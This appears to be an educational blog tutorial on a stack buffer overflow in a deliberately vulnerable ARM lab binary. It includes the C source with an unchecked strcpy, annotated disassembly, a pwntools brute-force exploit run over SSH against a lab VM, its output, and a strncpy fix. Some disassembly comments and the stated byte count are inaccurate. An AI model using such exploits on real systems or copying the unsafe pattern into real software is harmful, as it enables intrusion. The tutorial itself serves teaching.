This is our source code for the third exploit of this series on ARM hacking:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <err.h>
int main()
{
int vulnerable = 42;
char buffer[64] = { 0 };
char *var = getenv("POC");
if (var == NULL)
errx(1, "set POC!\n");
vulnerable = 42;
strcpy(buffer, var);
if (vulnerable != 0xdeadbeef)
errx(1, "nope\n");
printf("congrats!\n");
}
Our goal will be to understand ARM implementation of this, to identify the vulnerability and to exploit it!
The program disassembly:
000005bc <main>:
prolog:
5bc: b580 push {r7, lr}
5be: b092 sub sp, #72 ; 0x48 bytes stackframe
5c0: af00 add r7, sp, #0
5c2: 232a movs r3, #42 ; 0x2a ; r3 = 42
5c4: 647b str r3, [r7, #68] ; store 42 at first int in stack
5c6: 463b mov r3, r7 ; buffer is at the other end of the stackframe
5c8: 2240 movs r2, #64 ; r2 = 64
5ca: 2100 movs r1, #0 ; r1 = '\0'
5cc: 4618 mov r0, r3 ; r0 = buffer
5ce: f7ff ef5c blx 488 <memset@plt> ; memset(buffer, '\0', 64); // bzero buffer
5d2: 4b16 ldr r3, [pc, #88] ; (62c <main+0x70>)
5d4: 447b add r3, pc
5d6: 4618 mov r0, r3
5d8: f7ff ef3e blx 458 <getenv@plt> ; getenv("POC");
5dc: 6438 str r0, [r7, #64] ; r7 = var
5de: 6c3b ldr r3, [r7, #64] ; r3 = *var
5e0: 2b00 cmp r3, #0 ; var == NULL?
5e2: d105 bne.n 5f0 <main+0x34>
poc_not_set:
5e4: 4b12 ldr r3, [pc, #72] ; (630 <main+0x74>)
5e6: 447b add r3, pc
5e8: 4619 mov r1, r3 ; r3 = "set POC!\n"
5ea: 2001 movs r0, #1 ; r0 = 1
5ec: f7ff ef52 blx 494 <errx@plt> ; errx(1, "set POC\n");
copy_in_buffer:
5f0: 232a movs r3, #42 ; r3 = 42
5f2: 647b str r3, [r7, #68] ; vulnerable = 42 (oops, I initialized twice, see 0x5c4!)
5f4: 463b mov r3, r7 ; r3 = 42
5f6: 6c39 ldr r1, [r7, #64] ; r1 = buffer
5f8: 4618 mov r0, r3 ; r0 = var
5fa: f7ff ef28 blx 44c <strcpy@plt> ; strcpy(buffer, var);
5fe: 6c7a ldr r2, [r7, #68] ; r2 = vulnerable
600: f64b 63ef movw r3, #48879 ; 0xbeef
604: f6cd 63ad movt r3, #57005 ; 0xdead
608: 429a cmp r2, r3 ; vulnerable == 0xdeadbeef?
60a: d005 beq.n 618 <main+0x5c>
bad_boy:
60c: 4b09 ldr r3, [pc, #36] ; (634 <main+0x78>)
60e: 447b add r3, pc
610: 4619 mov r1, r3 ; r1 = "nope\n"
612: 2001 movs r0, #1 ; r0 = 1
614: f7ff ef3e blx 494 <errx@plt> ; errx(1, "nope\n");
good_boy:
618: 4b07 ldr r3, [pc, #28] ; (638 <main+0x7c>)
61a: 447b add r3, pc
61c: 4618 mov r0, r3 ; r0 = "congrats!\n");
61e: f7ff ef22 blx 464 <puts@plt> ; puts("congrats\n");
622: 2300 movs r3, #0
624: 4618 mov r0, r3 ; return EXIT_SUCCESS;
epilog:
626: 3748 adds r7, #72 ; 0x48
628: 46bd mov sp, r7
62a: bd80 pop {r7, pc}
string_pool:
62c: 000000b4
630: 000000a6
634: 0000008a
638: 00000086
Here is an exploit using pwntools
:
#!/usr/bin/env python3
import struct
from pwn import *
socket = ssh(host='192.168.0.1', user='root', password='')
i = 64
while True:
i += 1
print('test', i)
payload = b'A' * i + struct.pack('<I', 0xdeadbeef)
process = socket.process(
executable='/root/protostarm/stack2/stack2',
env={"POC": payload}
)
res = process.recv().decode()
print('res =', res)
process.close()
if 'congrats' in res:
break
socket.close()
Our vulnerable variable is stored at sp+68. strcpy
will copy our var
including the terninating null byte ('\0'). We such need to fill the stack with 69 bytes before overwriting the vulnerable variable:
user@Azeria-Lab-VM:~/protoarm/stack2$ ./exploit.py
[+] Connecting to 192.168.0.1 on port 22: Done
[*] root@192.168.0.1:
Distro Debian testing
OS: linux
Arch: arm
Version: 4.9.0
ASLR: Enabled
test 65
[+] Starting remote process '/root/protostarm/stack2/stack2' on 192.168.0.1: pid 740
res = :
[*] Stopped remote process 'stack2' on 192.168.0.1 (pid 740)
test 66
[+] Starting remote process '/root/protostarm/stack2/stack2' on 192.168.0.1: pid 744
res = :
[*] Stopped remote process 'stack2' on 192.168.0.1 (pid 744)
test 67
[+] Starting remote process '/root/protostarm/stack2/stack2' on 192.168.0.1: pid 748
res = :
[*] Stopped remote process 'stack2' on 192.168.0.1 (pid 748)
test 68
[+] Starting remote process '/root/protostarm/stack2/stack2' on 192.168.0.1: pid 752
res = congrats!
[*] Stopped remote process 'stack2' on 192.168.0.1 (pid 752)
[*] Closed connection to '192.168.0.1'
A more secure version of this program could use strncpy
in place of strcpy
. Here is a pseudo implem of it:
char *strncpy(char *dest, const char *src, size_t n)
{
size_t i = 0;
// fill dest buffe with at most n bytes preventing bof if n is well chosen
for (i = 0; i < n && src[i] != '\0'; i++)
dest[i] = src[i];
// fill the rest of the buffer with null bytes
for ( ; i < n; i++)
dest[i] = '\0';
return dest;
}
There are other alternatives such as strlcpy
, strcpy_s
, and many more.
I hope you enjoyed it!
Top comments (0)